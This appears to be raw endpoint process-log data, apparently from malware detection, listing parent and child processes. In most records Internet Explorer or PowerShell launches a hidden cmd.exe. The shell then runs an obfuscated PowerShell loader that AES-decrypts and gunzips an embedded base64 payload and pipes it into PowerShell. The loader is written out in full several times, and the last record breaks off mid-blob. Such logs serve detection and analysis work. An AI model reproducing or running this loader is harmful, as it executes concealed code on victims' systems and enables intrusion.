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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
parent_process iexplore.exe martian_process powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell - }
parent_process powershell.exe martian_process "C:\Windows\system32\cmd.exe" /c powershell.exe $mCNNv = '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';$yQFSjx = 'TFpjTE1wVHVwbVJkQnRVd0lzbFpScHd0Q1pOZkVCUmE=';$ctAWUqsw = New-Object 'System.Security.Cryptography.AesManaged';$ctAWUqsw.Mode = [System.Security.Cryptography.CipherMode]::ECB;$ctAWUqsw.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$ctAWUqsw.BlockSize = 128;$ctAWUqsw.KeySize = 256;$ctAWUqsw.Key = [System.Convert]::FromBase64String($yQFSjx);$zsjbZ = [System.Convert]::FromBase64String($mCNNv);$arfJKgbe = $zsjbZ[0..15];$ctAWUqsw.IV = $arfJKgbe;$EQavMQNmE = $ctAWUqsw.CreateDecryptor();$YuGFoSwTH = $EQavMQNmE.TransformFinalBlock($zsjbZ, 16, $zsjbZ.Length - 16);$ctAWUqsw.Dispose();$iHsDh = New-Object System.IO.MemoryStream( , $YuGFoSwTH );$TUMos = New-Object System.IO.MemoryStream;$SZNoYIAmA = New-Object System.IO.Compression.GzipStream $iHsDh, ([IO.Compression.CompressionMode]::Decompress);$SZNoYIAmA.CopyTo( $TUMos );$SZNoYIAmA.Close();$iHsDh.Close();[byte[]] $nlMgO = $TUMos.ToArray();$Rwwlrl = [System.Text.Encoding]::UTF8.GetString($nlMgO);$Rwwlrl | powershell -
parent_process powershell.exe martian_process C:\Windows\System32\cmd.exe /c powershell.exe $mCNNv = 'AAAAAAAAAAAAAAAAAAAAAG/ebLL6mbaeYT9ucj4uk9+izEWAg+Ksft29i6cwAhx2H59RKiQmRD07NfSvkYPbJPdBfc7QHKdOMBXRDWTtaek329s1tyk2s4LwNkzIwJoUljgy/+EqxR8M0/aoWEu+sjSDh7fUQD/vS2tTgZXfNBd18YqmsMWpgvORrX8F7npFy9fyny5S3olIuUtDoWqzET2jHhnHOsw2ChbYKlQkHlfSAa3sI7NFAFWOckJ1pUMjVFzmoF/k2qTqFUnNyOo28XDBiA9xYnguAz0Sp27qYiCxC3lVyb8qxLrWT+0cGvdOVuvIo9zKP5wCgWq56W9LWjIqJSFsrd2JdUiclVZLQddJa1TPXBqnqSMV+4gs9lQ5Qx4mqtHidr+BeaBDcCx6YcJri8L68hR/8mA4izbOTkWqD6KpR+Aw71EULQuYTDH38hGdBl+dS0a9DXPFxL9aAsQwr0cWBN59VKrzD1na1a4dGiBTjDXlQlwOPwEa1oZZgo6MgRi4fYdYAh5NcxTOY4iVWzrL7f7MYxslSmyjdGclje8TOcUYUCAT0oAQdrfO9WAhUQLGNI4oKtSV5vts6pVeNdEMR3vcSdiCL3yE4AZJHZ4x+neYJFubGeB+PlQ6cb7a7KHb7L9XyxT5LHxjH0eZ8YpGpLBGt0V/X2xwYJZkOnfoK1ZDxFN04qsxBUG/etmWjZyD/4g+r2qTBaxAdJjOA9LaJZSAGdQCGEamoH+e/z62JxaoXksmpMjtbPK2USNCPReTHPpLChXC3so3TzVtZBzQgeyf+9E4npPbLL/jbkL3Gd+1JR0F1S/0LVC5rY6zZ6+5DctTY7JovunTyE61Lfdd/AMw7EgqbnqfrceI/bwXjWWgYT1uiBItMGp5mxZbvA4GqqwTyvRCDLDVH+WcI3WgPPgtif9mhFpN4abHWpzC6hH0cq9wJvP4Y/pQFE83KPq+c7C3iq6PcoFCm9966l+Dg/8yO6V3W9is0jcjj2eW8ZoYXWUgiuk9AsNbx7bkNjXHWHvQD4qk8lat8t9iafQRYaNxnLwlWX3X3cyLvi9SwItdqUF2t4OUTwFuXaGkO5rBq2KiT+RaNSJLB3ZZJzLYTXfPwGbpbFX0ONIPdozZYFoL1LS5cyjJca6oMLRhBqPgyJeyyQEE4J1706QDarKlLXtHggvsWXNsjJ3D1gWcT6x76MZKinLHFfYHMKDjdNbSL15CSy+ip59dfMOQQrr5Aj3+sJmoMVFfc+1EGvYNBBzNAxL5mZR65AxVBRK1oGZFPJYnN+OSyMtTeZYnLnVZI+JXUs0qdURIinE43u9f7S5RCWkIgSEnBKq+IvmqN+YIftQm32TmQKyJhz6XuT5oGnoECduu+FDOvu5OkW1sBPE6wR6Zd1bDwQbqpreVuOouO0V1LBm5kJh0ZiYyfdOZsPlKAUa2mF9/q+xYPVHOp7IOfACgRb/5xkaIUd8ZPBO4TSsmegkUGvHXzBJGonf6GBECYGO0xSDYbLFpFqLFSl8UwGLj+O9lZeQqakP6SECihKSILWgLphP0Tbb+Y31I/GVxUzGRye098TPbghT2O9JJ2Pr94eU0V6IFYM9CCzEOQ6MgbzR6Gnkqihk1C8nsCJwdgCD+yWIljFA4idyImt0MjR/5Xyum53PwH9PGswfN2b98oHUdkMWG8+Iinl8wdNvPP2KxuOsTEduAnDeG23INewGHHNxqV6wIzPYbNuiBY